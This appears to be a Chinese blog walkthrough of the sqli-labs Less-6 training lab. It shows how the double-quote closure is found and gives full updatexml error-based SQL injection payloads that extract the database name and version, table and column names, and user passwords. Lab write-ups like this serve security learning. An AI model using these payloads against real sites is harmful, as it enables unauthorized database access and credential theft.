当前位置: 首页 > news >正文

sqli-labs学习记录6

less-6

打开靶场
在这里插入图片描述

判断闭合方式

输入id=1’
在这里插入图片描述
没有报错,输入id=1’ --+
在这里插入图片描述
没有报错,似乎不是’闭合,试试其他的闭合

id=1"
在这里插入图片描述
报错了,在加上注释尝试:id=1" --+
在这里插入图片描述
回显正常,应该是"闭合方式。

这个题和第5题应该差不多,用报错注入

id=1" and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+
在这里插入图片描述
回显了数据库名与数据库版本。

查看数据库名

id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=‘security’),1,32)),1) --+
在这里插入图片描述

查看对应users表的字段

id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),1,32)),1) --+
在这里插入图片描述

查看users表对应字段的信息

id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,32)),1) --+
在这里插入图片描述
返回了一部分的数据,和第五题是一样的原理,因为updatexml函数不能传输超过32位的数据。

http://www.dtcms.com/a/83261.html

相关文章:

  • 使用 Fetch API 实现流式读取
  • 单片机学习笔记——入门51单片机
  • 在windows下通过wsl工具管理Linux子系统
  • UDS诊断、ECU刷写、自动化测试、车联网测试、DTC故障注入测试、坏境测试、可靠性测试、压力测试、性能测试等
  • 计算机四级 - 数据库原理(操作系统部分)- 第5章「内存管理」
  • QT Quick(C++)跨平台应用程序项目实战教程 3 — 项目基本设置(窗体尺寸、中文标题、窗体图标、可执行程序图标)
  • C++:类和对象(含各编译器对编译过程的优化解释)详解[后篇]
  • Neo Gamma 机器人在 GTC 2025 上的突破性进展与表现分析
  • JVM运行时数据区内部结构难记?一个例子优化记忆
  • 避坑指南 | 阿里云服务器centos7上MySQL部署优化指南
  • C++之模板进阶
  • 亮相AWE2025,MOVA以科技重塑生活,以美学沟通世界
  • 标贝科技入选2025年市级数据要素市场化配置改革“揭榜挂帅”名单
  • 2025蓝桥杯备赛Day1——B2109 统计数字字符个数
  • 微信小游戏:跳一跳,自动化操作
  • 4.6--入门知识扫盲,路径追踪与路由误导:Tracert攻击 vs ICMP重定向攻击(包你看一遍全记住)
  • squirrel语言全面介绍
  • JAVA学习--java数组--打印稀疏数组和稀疏数组的还原
  • React基础语法速览
  • 每日一题力扣2960.统计已测试设备c++
  • 从零开始:使用 Cython + JNI 在 Android 上运行 Python 算法
  • C++进阶(一)
  • 智能照明与新能源集成的精细化能效管理实践
  • 蓝桥杯备赛-DFS-有奖问答
  • Android中的setInheritRT
  • JAVA_数据结构_栈和队列
  • 实现分布式锁需要考虑哪些问题?
  • 组播策略路由选择
  • SSH密钥认证 + 文件系统权限控制 + Git仓库配置+封存与解封GIT仓库
  • mac环境下chatwoot客服聊天docker本地部署+对接通义千问Qwen2.5